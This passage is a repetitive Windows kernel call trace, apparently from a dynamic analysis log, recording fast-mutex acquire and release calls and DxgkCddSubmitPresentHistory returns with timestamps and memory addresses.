ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.282] DxgkCddSubmitPresentHistory () returned 0x0 [0116.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.300] DxgkCddSubmitPresentHistory () returned 0x0 [0116.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.318] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0116.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.318] DxgkCddSubmitPresentHistory () returned 0x0 [0116.318] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.318] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.319] DxgkCddSubmitPresentHistory () returned 0x0 [0116.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.319] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.319] DxgkCddSubmitPresentHistory () returned 0x0 [0116.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.345] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.345] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.345] DxgkCddSubmitPresentHistory () returned 0x0 [0116.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.361] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.361] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.361] DxgkCddSubmitPresentHistory () returned 0x0 [0116.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.362] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.362] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.362] DxgkCddSubmitPresentHistory () returned 0x0 [0116.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.393] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.393] DxgkCddSubmitPresentHistory () returned 0x0 [0116.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.416] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144ce70) [0116.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.416] DxgkCddSubmitPresentHistory () returned 0x0 [0116.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.416] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.416] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.416] DxgkCddSubmitPresentHistory () returned 0x0 [0116.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.438] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.438] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.438] DxgkCddSubmitPresentHistory () returned 0x0 [0116.471] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.472] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.472] DxgkCddSubmitPresentHistory () returned 0x0 [0116.505] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.505] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.506] DxgkCddSubmitPresentHistory () returned 0x0 [0116.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.549] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144ce70) [0116.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.549] DxgkCddSubmitPresentHistory () returned 0x0 [0116.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.549] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.549] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.549] DxgkCddSubmitPresentHistory () returned 0x0 [0116.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.565] DxgkCddSubmitPresentHistory () returned 0x0 [0116.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144ce70) [0116.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.566] DxgkCddSubmitPresentHistory () returned 0x0 [0116.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.566] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.566] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.566] DxgkCddSubmitPresentHistory () returned 0x0 [0116.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.584] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.584] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.584] DxgkCddSubmitPresentHistory () returned 0x0 [0116.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.621] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.621] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.621] DxgkCddSubmitPresentHistory () returned 0x0 [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.655] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.655] DxgkCddSubmitPresentHistory () returned 0x0 [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.655] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144ce70) [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.655] DxgkCddSubmitPresentHistory () returned 0x0 [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.655] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.656] DxgkCddSubmitPresentHistory () returned 0x0 [0116.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.668] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.668] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.668] DxgkCddSubmitPresentHistory () returned 0x0 [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.700] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.700] DxgkCddSubmitPresentHistory () returned 0x0 [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.700] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000144ce70) [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000144ce70) [0116.700] DxgkCddSubmitPresentHistory () returned 0x0 [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.700] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.700] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.700] DxgkCddSubmitPresentHistory () returned 0x0 [0116.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.722] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.722] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.722] DxgkCddSubmitPresentHistory () returned 0x0 [0116.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.731] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.731] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.731] DxgkCddSubmitPresentHistory () returned 0x0 [0116.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.772] DxgkCddSubmitPresentHistory () returned 0x0 [0116.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.772] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.772] DxgkCddSubmitPresentHistory () returned 0x0 [0116.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.803] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.803] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.803] DxgkCddSubmitPresentHistory () returned 0x0 [0116.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.926] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0116.926] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0116.926] DxgkCddSubmitPresentHistory () returned 0x0 [0116.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.959] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.959] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.959] DxgkCddSubmitPresentHistory () returned 0x0 [0116.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.982] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.982] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.982] DxgkCddSubmitPresentHistory () returned 0x0 [0117.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.028] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.028] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.028] DxgkCddSubmitPresentHistory () returned 0x0 [0117.044] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.044] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.044] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.044] DxgkCddSubmitPresentHistory () returned 0x0 [0117.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.076] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.076] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.076] DxgkCddSubmitPresentHistory () returned 0x0 [0117.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.092] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.092] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.092] DxgkCddSubmitPresentHistory () returned 0x0 [0117.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.124] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.124] DxgkCddSubmitPresentHistory () returned 0x0 [0117.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.156] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.156] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.156] DxgkCddSubmitPresentHistory () returned 0x0 [0117.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.188] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.188] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.188] DxgkCddSubmitPresentHistory () returned 0x0 [0117.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.204] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.204] DxgkCddSubmitPresentHistory () returned 0x0 [0117.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.236] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.236] DxgkCddSubmitPresentHistory () returned 0x0 [0117.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.268] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.268] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.268] DxgkCddSubmitPresentHistory () returned 0x0 [0117.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.300] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.300] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.300] DxgkCddSubmitPresentHistory () returned 0x0 [0117.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.332] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.332] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.332] DxgkCddSubmitPresentHistory () returned 0x0 [0117.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0117.364] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0117.364] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0117.364] DxgkCddSubmitPresentHistory () returned 0x0 [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.259] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.259] DxgkCddSubmitPresentHistory () returned 0x0 [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.259] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000128f180) [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0118.259] DxgkCddSubmitPresentHistory () returned 0x0 [0118.259] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.265] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.265] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.265] DxgkCddSubmitPresentHistory () returned 0x0 [0118.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.286] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.286] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.286] DxgkCddSubmitPresentHistory () returned 0x0 [0118.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.302] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.302] DxgkCddSubmitPresentHistory () returned 0x0 [0118.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.302] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.302] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.302] DxgkCddSubmitPresentHistory () returned 0x0 [0118.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.357] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.357] DxgkCddSubmitPresentHistory () returned 0x0 [0118.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.357] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.357] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.357] DxgkCddSubmitPresentHistory () returned 0x0 [0118.389] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.389] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.389] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.389] DxgkCddSubmitPresentHistory () returned 0x0 [0118.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.405] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.405] DxgkCddSubmitPresentHistory () returned 0x0 [0118.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.405] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.405] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.405] DxgkCddSubmitPresentHistory () returned 0x0 [0118.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.455] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.455] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.455] DxgkCddSubmitPresentHistory () returned 0x0 [0118.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.486] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.486] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.486] DxgkCddSubmitPresentHistory () returned 0x0 [0118.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.565] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.565] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.565] DxgkCddSubmitPresentHistory () returned 0x0 [0118.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.587] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.587] DxgkCddSubmitPresentHistory () returned 0x0 [0118.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.587] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.587] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.587] DxgkCddSubmitPresentHistory () returned 0x0 [0118.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.599] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.599] DxgkCddSubmitPresentHistory () returned 0x0 [0118.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.627] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.627] DxgkCddSubmitPresentHistory () returned 0x0 [0118.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.660] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.660] DxgkCddSubmitPresentHistory () returned 0x0 [0118.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.677] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000139abd0) [0118.677] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0118.677] DxgkCddSubmitPresentHistory () returned 0x0 [0118.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.707] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.707] DxgkCddSubmitPresentHistory () returned 0x0 [0118.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.757] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.757] DxgkCddSubmitPresentHistory () returned 0x0 [0118.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.757] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.757] DxgkCddSubmitPresentHistory () returned 0x0 [0118.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.785] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.785] DxgkCddSubmitPresentHistory () returned 0x0 [0118.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.799] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.799] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.799] DxgkCddSubmitPresentHistory () returned 0x0 [0118.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.814] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.814] DxgkCddSubmitPresentHistory () returned 0x0 [0118.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.814] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.814] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.814] DxgkCddSubmitPresentHistory () returned 0x0 [0118.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.830] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.830] DxgkCddSubmitPresentHistory () returned 0x0 [0118.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.863] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0118.863] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0118.863] DxgkCddSubmitPresentHistory () returned 0x0 [0118.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.893] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000011e9ea0) [0118.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011e9ea0) [0118.893] DxgkCddSubmitPresentHistory () returned 0x0 [0118.893] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0118.893] 